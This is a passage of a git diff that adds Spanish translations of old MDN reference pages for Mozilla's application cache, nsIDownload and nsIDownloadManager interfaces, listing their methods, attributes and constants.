+<h2 id="Resumen_del_m.C3.A9todo" name="Resumen_del_m.C3.A9todo">Resumen del método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#add.28.29">add</a>(in <a href="es/DOMString">DOMString</a> uri);</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="es/DOMString">DOMString</a> <a href="#item.28.29">item</a>(in unsigned long index);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#remove.28.29">remove</a>(in <a href="es/DOMString">DOMString</a> uri);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#swapCache.28.29">swapCache</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#update.28.29">update</a>();</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>length</code></td>
+   <td><code>unsigned long</code></td>
+   <td>El número de entradas la lista de recursos manejados dinámicamente<em>Sólo lectura</em> .</td>
+  </tr>
+  <tr>
+   <td><code>onchecking</code></td>
+   <td><code><a href="es/NsIDOMEventListener">nsIDOMEventListener</a></code></td>
+   <td>El evento de escucha que se llamará cuando se lean los manifiestos en la cache y se busquen actualizaciones.</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code></td>
+   <td><code><a href="es/NsIDOMEventListener">nsIDOMEventListener</a></code></td>
+   <td>Un evento de escucha que será llamado cuando ocurra un error durante el proceso de almacenaje en cache.</td>
+  </tr>
+  <tr>
+   <td><code>onnoupdate</code></td>
+   <td><code><a href="es/NsIDOMEventListener">nsIDOMEventListener</a></code></td>
+   <td>Un evento de escucha que será llamado cuando no hay actualizaciones a descargar.</td>
+  </tr>
+  <tr>
+   <td><code>ondownloading</code></td>
+   <td><code><a href="es/NsIDOMEventListener">nsIDOMEventListener</a></code></td>
+   <td>Un evento de escucha que será llamado cuando se están descargando recursos a la cache.</td>
+  </tr>
+  <tr>
+   <td><code>onprogress</code></td>
+   <td><code><a href="es/NsIDOMEventListener">nsIDOMEventListener</a></code></td>
+   <td>Un evento de escucha que será llamado periódicamente a lo largo del proceso de descarga.</td>
+  </tr>
+  <tr>
+   <td><code>onupdateready</code></td>
+   <td><code><a href="es/NsIDOMEventListener">nsIDOMEventListener</a></code></td>
+   <td>Un evento de escucha que será llamado cuando hay disponible una actualización para un recurso; este evento no se utiliza actualmente ya que las aplicaciones con diferentes versiones aún no están implementadas.</td>
+  </tr>
+  <tr>
+   <td><code>oncached</code></td>
+   <td><code><a href="es/NsIDOMEventListener">nsIDOMEventListener</a></code></td>
+   <td>Un evento de escucha que será llamado cuando se ha completado el proceso de almacenaje en cache.</td>
+  </tr>
+  <tr>
+   <td><code>status</code></td>
+   <td><code>unsigned short</code></td>
+   <td>Una de las constantes <a href="#constants">constants</a> que indican el estado de la cache de la aplicación.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constantes" name="Constantes">Constantes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constante</td>
+   <td class="header">Valor</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>UNCACHED</code></td>
+   <td>0</td>
+   <td>El objeto no está asociado con una aplicación.</td>
+  </tr>
+  <tr>
+   <td><code>IDLE</code></td>
+   <td>1</td>
+   <td>La cache de la aplicación no está en proceso de ser actualizada.</td>
+  </tr>
+  <tr>
+   <td><code>CHECKING</code></td>
+   <td>2</td>
+   <td>El manifiesto de la cache de la aplicación está siendo leído y en busca de actualizaciones.</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOADING</code></td>
+   <td>3</td>
+   <td>Los recursos están siendo descargados para ser agregados a la cache.</td>
+  </tr>
+  <tr>
+   <td><code>UPDATEREADY</code></td>
+   <td>4</td>
+   <td>Hay una nueva versión de la aplicación disponible.
+    <p>Las aplicaciones con diferentes versiones no están aún implementadas, por lo que este valor de estado no está aún implementado.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="add.28.29" name="add.28.29">add()</h3>
+
+<p>Agrega un ítem a las entradas manejadas dinámicamente. Los recursos serán leídos y agregados a la cache de la aplicación.</p>
+
+<pre class="eval"> void add(
+   in DOMString uri
+ );
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>uri</dt>
+ <dd>La URI del recurso a agregar a la lista.</dd>
+</dl>
+
+<h3 id="item.28.29" name="item.28.29">item()</h3>
+
+<p>Devuelve la URI del ítem en la posición especificada en la lista de recursos en la cache.</p>
+
+<pre class="eval"> DOMString item(
+   in unsigned long index
+ );
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<dl>
+ <dt>index</dt>
+ <dd>El índice de elementos en la cache cuya URI será devuelta.</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p>Una constante <code><a href="es/DOMString">DOMString</a></code> conteniendo la URI del recurso especificado.</p>
+
+<h3 id="remove.28.29" name="remove.28.29">remove()</h3>
+
+<p>Elimina un ítem de la lista de entradas manejadas dinámicamente. Si es la última referencia a una URI determinada en la cache de la aplicación, la entrada de la caché es eliminada.</p>
+
+<pre class="eval"> void remove(
+   in DOMString uri
+ );
+</pre>
+
+<h6 id="Par.C3.A1metros_3" name="Par.C3.A1metros_3">Parámetros</h6>
+
+<dl>
+ <dt>uri</dt>
+ <dd>La URI del elemento a eliminar de la lista.</dd>
+</dl>
+
+<h3 id="swapCache.28.29" name="swapCache.28.29">swapCache()</h3>
+
+<p>Cambia a la nueva versión de la cache de la aplicación.</p>
+
+<p>Las aplicaciones con diferentes versiones no están aún implementadas. Este método generará una excepción.</p>
+
+<pre class="eval"> void swapCache();
+</pre>
+
+<h6 id="Par.C3.A1metros_4" name="Par.C3.A1metros_4">Parámetros</h6>
+
+<p>Ninguno.</p>
+
+<h3 id="update.28.29" name="update.28.29">update()</h3>
+
+<p>Comienza el proceso de actualización de la cache de la aplicación.</p>
+
+<pre class="eval"> void update();
+</pre>
+
+<h6 id="Par.C3.A1metros_5" name="Par.C3.A1metros_5">Parámetros</h6>
+
+<p>Ninguno.</p>
+
+<h2 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h2>
+
+<ul>
+ <li><a href="es/Offline_resources_in_Firefox">Offline resources in Firefox</a></li>
+ <li><a href="es/Recursos_en_modo_desconectado_en_Firefox">Recursos_en_modo_desconectado_en_Firefox</a></li>
+</ul>
diff --git a/files/es/nsidownload/index.html b/files/es/nsidownload/index.html
new file mode 100644
index 0000000000..3f0ea1bde1
--- /dev/null
+++ b/files/es/nsidownload/index.html
@@ -0,0 +1,116 @@
+---
+title: nsIDownload
+slug: nsIDownload
+tags:
+  - Firefox 3
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIDownload
+---
+<div><div class="blockIndicator obsolete obsoleteHeader"><p><strong><span class="icon-only-inline" title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> Obsoleto</strong><br>Esta funcionalidad es obsoleta. Aunque puede aún funcionar en algunos navegadores, se desalienta su uso ya que puede ser removida en cualquier momento. Evite usarla.</p></div></div>
+
+<p> La interfaz <code>nsIDownload</code> describe un objeto descarga. Los objetos descarga son usados por el Administrador de Descargas (ver <code><a href="es/NsIDownloadManager">nsIDownloadManager</a></code> para manejar archivos que están en cola para ser descargados, están siendo descargados y han terminado de ser descargados).</p>
+
+<div class="note"><strong>Nota:</strong> Una vez que la descarga esta completada, el Administrador de Descargas deja de actualizar el objeto <code>nsIDownload</code>. Los estdos de completado son: <code>nsIDownloadManager::DOWNLOAD_FINISHED</code>, <code>nsIDownloadManager::DOWNLOAD_FAILED</code>, y <code>nsIDownloadManager::DOWNLOAD_CANCELED</code>.</div>
+
+<p><br>
+ </p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/downloads/public/nsIDownload.idl" rel="custom">toolkit/components/downloads/public/nsIDownload.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.9 (Firefox 3)</span></div>
+</div><p></p>
+
+<p>Inherits from: <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsITransfer" title="">nsITransfer</a></code></p>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attribute</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>targetFile</code></td>
+   <td><code><a href="es/NsILocalFile">nsILocalFile</a></code></td>
+   <td>Indica la localización donde estará el archivo descargado (o está, si la descarga se ha completado).<em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>percentComplete</code></td>
+   <td><code><a href="es/PRint32">PRint32</a></code></td>
+   <td>El porcentaje de la transferencia que se ha completado, o -1 si el tamaño del archivo es desconocido.<em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>amountTransferred</code></td>
+   <td><code><a href="es/PRUint64">PRUint64</a></code></td>
+   <td>El número de bytes que se han descargado hasta ahora.<em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>size</code></td>
+   <td><code><a href="es/PRUint64">PRUint64</a></code></td>
+   <td>El tamaño total del archivo en bytes o <code>LL_MAXUINT</code>, si el tamaño es desconocido.<em>Sólo lectura'<strong>Read only.</strong></em></td>
+  </tr>
+  <tr>
+   <td><code>source</code></td>
+   <td><code><a href="es/NsIURI">nsIURI</a></code></td>
+   <td>La URI origen del archivo.<em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code></td>
+   <td><code><a href="es/NsICancelable">nsICancelable</a></code></td>
+   <td>Un objeto que puede ser usado para cancelar la descarga. Una vez que la descarga se ha completado, esta valor se pone a <code>null</code>.<em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>displayName</code></td>
+   <td><code><a href="es/AString">AString</a></code></td>
+   <td>Una descripción, legible por el usuario, de la transferencia.<em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>startTime</code></td>
+   <td><code>long long</code></td>
+   <td>La hora a la que empezó la transferencia.<em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>speed</code></td>
+   <td><code>double</code></td>
+   <td>La velocidad de la transferencia en bytes por segundo.<em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>MIMEInfo</code></td>
+   <td><code><a href="es/NsIMIMEInfo">nsIMIMEInfo</a></code></td>
+   <td>Este atributo opcional ofrece información relevante del MIME del archivo destino incluyendo el tipo MIME, la aplicación de ayuda y si la aplicación de ayuda debe o no ser llamada al terminar la descarga.</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><code>unsigned long</code></td>
+   <td>La ID única por la que se identifica en la base de datos.</td>
+  </tr>
+  <tr>
+   <td><code>state</code></td>
+   <td><code>short</code></td>
+   <td>El estado actual de la transferencia. Ver <a href="es/NsIDownloadManager#Constants">the nsIDownloadManager constants list</a>.</td>
+  </tr>
+  <tr>
+   <td><code>referrer</code></td>
+   <td><code><a href="es/NsIURI">nsIURI</a></code></td>
+   <td>La URI referente de la descarga. Esto es sólo válido para descargas HTTP y puede ser <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td><code>resumable</code></td>
+   <td><code>boolean</code></td>
+   <td>Indica si la descarga puede ser reanudada después de haberse puesto en pausa. Esto es sólo aplicable si la descarga se hace sobre HTTP/1.1 o FTP y el servidor lo admite.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h2>
+
+<p><code><a href="es/NsIDownloadManager">nsIDownloadManager</a></code>, <code><a href="es/NsIDownloadProgressListener">nsIDownloadProgressListener</a></code>, <code><a href="es/NsIXPInstallManagerUI">nsIXPInstallManagerUI</a></code></p>
diff --git a/files/es/nsidownloadmanager/index.html b/files/es/nsidownloadmanager/index.html
new file mode 100644
index 0000000000..95f09bdf4c
--- /dev/null
+++ b/files/es/nsidownloadmanager/index.html
@@ -0,0 +1,442 @@
+---
+title: nsIDownloadManager
+slug: nsIDownloadManager
+tags:
+  - Firefox 3
+  - Interfaces
+  - Todas_las_Categorías
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManager
+---
+<p></p><div class="blockIndicator obsolete obsoleteHeader"><p><strong><span class="icon-only-inline" title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> Obsoleto</strong><br>Esta funcionalidad es obsoleta. Aunque puede aún funcionar en algunos navegadores, se desalienta su uso ya que puede ser removida en cualquier momento. Evite usarla.</p></div> El interfaz <code>nsIDownloadManager</code> permite a las aplicaciones y extensiones comunicarse con el Administrador de Descargas, añadiendo y quitando archivos a descargar, recolectando información sobre las descargas y siendo notificado cuando las descargas son finalizadas.<p></p>
+
+<p><br>
+ </p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/downloads/public/nsIDownloadManager.idl" rel="custom">toolkit/components/downloads/public/nsIDownloadManager.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.9 (Firefox 3)</span></div>
+</div><p></p>
+
+<p>Deriva desde: <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code></p>
+
+<p>Implementado por: <code>@mozilla.org/download-manager;1</code>. Para crear una unidad, usa:</p>
+
+<pre class="eval">var dm = Components.classes["@mozilla.org/download-manager;1"]
+                   .createInstance(Components.interfaces.nsIDownloadManager);
+</pre>
+
+<h2 id="Descripci.C3.B3n_del_m.C3.A9todo" name="Descripci.C3.B3n_del_m.C3.A9todo">Descripción del método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>nsIDownload <a href="#addDownload.28.29">addDownload</a>(aDownloadType para abreviar, en <a href="/es/nsIURI" title="es/nsIURI">nsIURI</a> aSource, en nsIURI aTarget, en <a href="/es/AString" title="es/AString">AString</a> aDisplayName, en <a href="/es/NsIMIMEInfo" title="es/NsIMIMEInfo">nsIMIMEInfo</a> aMIMEInfo, en <a href="/es/PRTime" title="es/PRTime">PRTime</a> aStartTime, en <a href="/es/nsILocalFile" title="es/nsILocalFile">nsILocalFile</a> aTempFile, en <a href="/es/nsICancelable" title="es/nsICancelable">nsICancelable</a> aCancelable)</code></td>
+  </tr>
+  <tr>
+   <td><code>nsIDownload <a href="#getDownload.28.29">getDownload</a>(in unsigned long aID)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#cancelDownload.28.29">cancelDownload</a>(in unsigned long aID)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#removeDownload.28.29">removeDownload</a>(in unsigned long aID)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#pauseDownload.28.29">pauseDownload</a>(in unsigned long aID)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#resumeDownload.28.29">resumeDownload</a>(in unsigned long aID)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#retryDownload.28.29">retryDownload</a>(in unsigned long aID)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#cleanUp.28.29">cleanUp</a>()</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#addListener.28.29">addListener</a>(in <a href="/es/nsIDownloadProgressListener" title="es/nsIDownloadProgressListener">nsIDownloadProgressListener</a> aListener)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#removeListener.28.29">removeListener</a>(in <a href="/es/nsIDownloadProgressListener" title="es/nsIDownloadProgressListener">nsIDownloadProgressListener</a> aListener)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>DBConnection</code></td>
+   <td><code><a href="/es/mozIStorageConnection" title="es/mozIStorageConnection">mozIStorageConnection</a></code></td>
+   <td>La conexión de la base de datos con la base de datos de descargas. <em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>canCleanUp</code></td>
+   <td><code>boolean</code></td>
+   <td>Si hay o no descargas que se pueden limpiar (quitar) p.e. descargas completadas, fallidas o canceladas. <em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>activeDownloadCount</code></td>
+   <td><code>long</code></td>
+   <td>Número de archivos actualmente siendo descargados. <em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>activeDownloads</code></td>
+   <td><code><a href="/es/nsISimpleEnumerator" title="es/nsISimpleEnumerator">nsISimpleEnumerator</a></code></td>
+   <td>Enumeración de los nsIDownloads activos. <em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>defaultDownloadsDirectory</code></td>
+   <td><code><a href="/es/nsILocalFile" title="es/nsILocalFile">nsILocalFile</a></code></td>
+   <td>Devuelve el directorio por defecto (dependiendo del SO) para las descargas. <em>Sólo lectura</em></td>
+  </tr>
+  <tr>
+   <td><code>userDownloadsDirectory</code></td>
+   <td><code><a href="/es/nsILocalFile" title="es/nsILocalFile">nsILocalFile</a></code></td>
+   <td>Devuelve el directorio, configurado por el usuario, para las descargas. <em>Sólo lectura</em>only.
+    <p>El path depende de dos configuraciones del usuario en las preferencias:</p>
+
+    <p><code>browser.download.folderList</code> define la localización por defecto para los archivos:</p>
+
+    <ul>
+     <li>0: Los archivos se descargan en el Escritorio por defecto.</li>
+     <li>1: Los archivos se descargan en el directorio especificado por el OS por defecto.</li>
+     <li>2: Los archivos se descargan en el directorio local especificado por la preferencia <code>browser.download.dir</code>. Si esta preferencia es invalida, la descarga se realiza en el sitio por defecto.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constantes" name="Constantes">Constantes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constane</td>
+   <td class="header">Valor</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOAD_NOTSTARTED</code></td>
+   <td>-1</td>
+   <td>La descarga no ha comenzado aún.</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOAD_DOWNLOADING</code></td>
+   <td>0</td>
+   <td>La descarga esta en proceso de ser descargada.</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOAD_FINISHED</code></td>
+   <td>1</td>
+   <td>La descarga ha terminado.</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOAD_FAILED</code></td>
+   <td>2</td>
+   <td>La descarga ha fallado.</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOAD_CANCELED</code></td>
+   <td>3</td>
+   <td>La descarga fue cancelada por el usuario.</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOAD_PAUSED</code></td>
+   <td>4</td>
+   <td>La descarga está actualmente en pausa.</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOAD_QUEUED</code></td>
+   <td>5</td>
+   <td>La descarga está en cola pero no está siendo descargada.</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOAD_BLOCKED</code></td>
+   <td>6</td>
+   <td>La descarga ha sido bloqueada, bien por un control paterno o el escáner de virus ha determinado que el archivo está infectado y no puede limpiarse.</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOAD_SCANNING</code></td>
+   <td>7</td>
+   <td>La descarga está siendo escaneada por la utilidad antivirus.</td>
+  </tr>
+  <tr>
+   <td><code>DOWNLOAD_TYPE_DOWNLOAD</code></td>
+   <td>0</td>
+   <td><em>¿Qué es esto?</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="addDownload.28.29" name="addDownload.28.29">addDownload()</h3>
+
+<p>Crea un nsIDownload y lo añade para ser manejado por el Administrador de descargas.</p>
+
+<pre class="eval">nsIDownload addDownload(
+  in short aDownloadType,
+  in nsIURI aSource,
+  in nsIURI aTarget,
+  in AString aDisplayName,
+  in nsIMIMEInfo aMIMEInfo,
+  in PRTime aStartTime,
+  in nsILocalFile aTempFile,
+  in nsICancelable aCancelable
+)
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt><code>aDownloadType</code></dt>
+ <dd>El tipo de transferencia de descarga.</dd>
+</dl>
+
+<dl>
+ <dt><code>aSource</code></dt>
+ <dd>El inicio del URI de transferencia. No debe ser <code>null</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>aTarget</code></dt>
+ <dd>El destino del URI dónde debe guardarse la transferencia. No debe ser <code>null</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>aDisplayName</code></dt>
+ <dd>Una descripción de la transferencia, legible por el usuario. Puede ser una cadena vacía.</dd>
+</dl>
+
+<dl>
+ <dt><code>aMIMEInfo</code></dt>
+ <dd>La información MIME asociada con el objetivo. Esto puede incluir el tipo MIME y la aplicación de ayuda en caso necesario. Este parámetro es opcional.</dd>
+</dl>
+
+<dl>
+ <dt><code>startTime</code></dt>
+ <dd>La hora a la que empezó la descarga.</dd>
+</dl>
+
+<dl>
+ <dt><code>aTempFile</code></dt>
+ <dd>La localización del archivo temporal (un archivo temporal en el que guardar los datos recibidos, que no es igual que el archivo de destino). El archivo será movido a su localización definitiva indicada por <code>aTarget</code> cuando se complete la descarga. Esto puede ser <code>null</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>aCancelable</code></dt>
+ <dd>Un objeto que puede ser utilizado para abortar una descarga. No debe ser <code>null</code>.</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p>El objeto recientemente creado con las propiedades dadas.</p>
+
+<div class="note"><strong>Nota:</strong> Agregar una descarga no comienza el proceso de transferencia. Si quieres que sea así, necsitas crear un objeto <code><a href="/es/NsIWebBrowserPersist" title="es/NsIWebBrowserPersist">nsIWebBrowserPersist</a></code>, llamar al método, poner el <code>progressListener</code> al objeto de descarga devuelto y entonces llamar al método <code>saveURI()</code>.</div>
+
+<h3 id="getDownload.28.29" name="getDownload.28.29">getDownload()</h3>
+
+<p>Lee una descarga manejada por el administrador de descargas. La descarga puede estra en proceso, o haber terminado y estar almacenada en la base de datos.</p>
+
+<pre class="eval">nsIDownload getDownload(
+  in unsigned long aID
+)
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<dl>
+ <dt><code>aID</code></dt>
+ <dd>La ID única de la descarga.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_2" name="Valor_devuelto_2">Valor devuelto</h6>
+
+<p>TLa descarga con el ID único especificado.</p>
+
+<h6 id="Excepciones" name="Excepciones">Excepciones</h6>
+
+<dl>
+ <dt><code>NS_ERROR_NOT_AVAILABLE</code></dt>
+ <dd>La descarga no está en la base de datos.</dd>
+</dl>
+
+<h3 id="cancelDownload.28.29" name="cancelDownload.28.29">cancelDownload()</h3>
+
+<p>Cancela la descarga que tiene el ID único especificado, si se encuentra en progreso. Esto llama a <code>cancel(NS_BINDING_ABORTED)</code> en el <code><a href="/es/nsICancelable" title="es/nsICancelable">nsICancelable</a></code> dado por la descarga.</p>
+
+<pre class="eval"> void cancelDownload(
+   in unsigned long aID
+ )
+</pre>
+
+<h6 id="Par.C3.A1metros_3" name="Par.C3.A1metros_3">Parámetros</h6>
+
+<dl>
+ <dt><code>aID</code></dt>
+ <dd>El ID único de la descarga.</dd>
+</dl>
+
+<h6 id="Excepciones_2" name="Excepciones_2">Excepciones</h6>
+
+<dl>
+ <dt><code>NS_ERROR_FAILURE</code></dt>
+ <dd>La descarga no está en progreso.</dd>
+</dl>
+
+<h3 id="removeDownload.28.29" name="removeDownload.28.29">removeDownload()</h3>
+
+<p>Quita de la lista, la descarga con el ID único especificado, si ésta no está en progreso. Así como <code>cancelDownload()</code> simplemente cancela la transferencia mientras que la información de la descarga se mantiene, <code>removeDownload()</code> borra todos los datos pertenecientes a la descarga.</p>
+
+<pre class="eval"> void removeDownload(
+   in unsigned long aID
+ )
+</pre>
+
+<h6 id="Par.C3.A1metros_4" name="Par.C3.A1metros_4">Parámetros</h6>
+
+<dl>
+ <dt><code>aID</code></dt>
+ <dd>La ID única de la descarga.</dd>
+</dl>
+
+<h6 id="Excepciones_3" name="Excepciones_3">Excepciones</h6>
+
+<dl>
+ <dt><code>NS_ERROR_FAILURE</code></dt>
+ <dd>La descarga está activa (está en proceso de transferencia).</dd>
+</dl>
+
+<h3 id="pauseDownload.28.29" name="pauseDownload.28.29">pauseDownload()</h3>
+
+<p>Pone la descarga especificada en pausa.</p>
+
+<pre class="eval"> void pauseDownload(
+   in unsigned long aID
+ )
+</pre>
+
+<h6 id="Par.C3.A1metros_5" name="Par.C3.A1metros_5">Parámetros</h6>
+
+<dl>
+ <dt><code>aID</code></dt>
+ <dd>La ID única de la descarga a detener.</dd>
+</dl>
+
+<h6 id="Excepciones_4" name="Excepciones_4">Excepciones</h6>
+
+<dl>
+ <dt><code>NS_ERROR_FAILURE</code></dt>
+ <dd>La descarga no está en proceso.</dd>
+</dl>
+
+<h3 id="resumeDownload.28.29" name="resumeDownload.28.29">resumeDownload()</h3>
+
+<p>Reanuda la descarga especificada.</p>
+
+<pre class="eval"> void resumeDownload(
+   in unsigned long aID
+ )
+</pre>
+
+<h6 id="Par.C3.A1metros_6" name="Par.C3.A1metros_6">Parámetros</h6>
+
+<dl>
+ <dt><code>aID</code></dt>
+ <dd>La ID única de la descarga a reanudar.</dd>
+</dl>
+
+<h6 id="Excepciones_5" name="Excepciones_5">Excepciones</h6>
+
+<dl>
+ <dt><code>NS_ERROR_FAILURE</code></dt>
+ <dd>La descarga no está en progreso.</dd>
+</dl>
+
+<h3 id="retryDownload.28.29" name="retryDownload.28.29">retryDownload()</h3>
+
+<p>Reintenta una descarga fallida.</p>
+
+<pre class="eval"> void retryDownload(
+   in unsigned long aID
+ )
+</pre>
+
+<h6 id="Par.C3.A1metros_7" name="Par.C3.A1metros_7">Parámetros</h6>
+
+<dl>
+ <dt><code>aID</code></dt>
+ <dd>La ID única de la descarga.</dd>
+</dl>
+
+<h6 id="Excepciones_6" name="Excepciones_6">Excepciones</h6>
+
+<dl>
+ <dt><code>NS_ERROR_NOT_AVAILALE</code></dt>
+ <dd>si la descarga es desconocida.</dd>
+</dl>
+
+<h3 id="cleanUp.28.29" name="cleanUp.28.29">cleanUp()</h3>
+
+<p>Quita de la lista las descargas terminadas, fallidas y canceladas.</p>
+
+<pre class="eval"> void cleanUp()
+</pre>
+
+<h6 id="Par.C3.A1metros_8" name="Par.C3.A1metros_8">Parámetros</h6>
+
+<p>Ninguno.</p>
+
+<h3 id="addListener.28.29" name="addListener.28.29">addListener()</h3>
+
+<p>Agrega una escucha al Administrador de Descargas.</p>
+
+<pre class="eval"> void addListener(
+   in nsIDownloadProgressListener aListener
+ )
+</pre>
+
+<h6 id="Par.C3.A1metros_9" name="Par.C3.A1metros_9">Parámetros</h6>
+
+<dl>
+ <dt><code>aListener</code></dt>
+ <dd>El objeto <code><a href="/es/nsIDownloadProgressListener" title="es/nsIDownloadProgressListener">nsIDownloadProgressListener</a></code> que recibirá la información de estado desde el Administrador de Descargas.</dd>
+</dl>
+
+<h3 id="removeListener.28.29" name="removeListener.28.29">removeListener()</h3>
+
+<p>Retira una escucha del Administrador de Descargas.</p>
+
+<pre class="eval"> void removeListener(
+   in nsIDownloadProgressListener aListener
+ )
+</pre>
+
+<h6 id="Par.C3.A1metros_10" name="Par.C3.A1metros_10">Parámetros</h6>
+
+<dl>
+ <dt><code>aListener</code></dt>
+ <dd>El objeto <code><a href="/es/nsIDownloadProgressListener" title="es/nsIDownloadProgressListener">nsIDownloadProgressListener</a></code> dejará de escuchar al Administrador de Descargas.</dd>
+</dl>
+
+<h2 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h2>
+
+<ul>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownload" title="">nsIDownload</a></code></li>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManagerUI" title="">nsIDownloadManagerUI</a></code></li>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadProgressListener" title="">nsIDownloadProgressListener</a></code></li>
+ <li><a href="/es/The_Download_Manager_schema" title="es/The_Download_Manager_schema">The Download Manager schema</a></li>
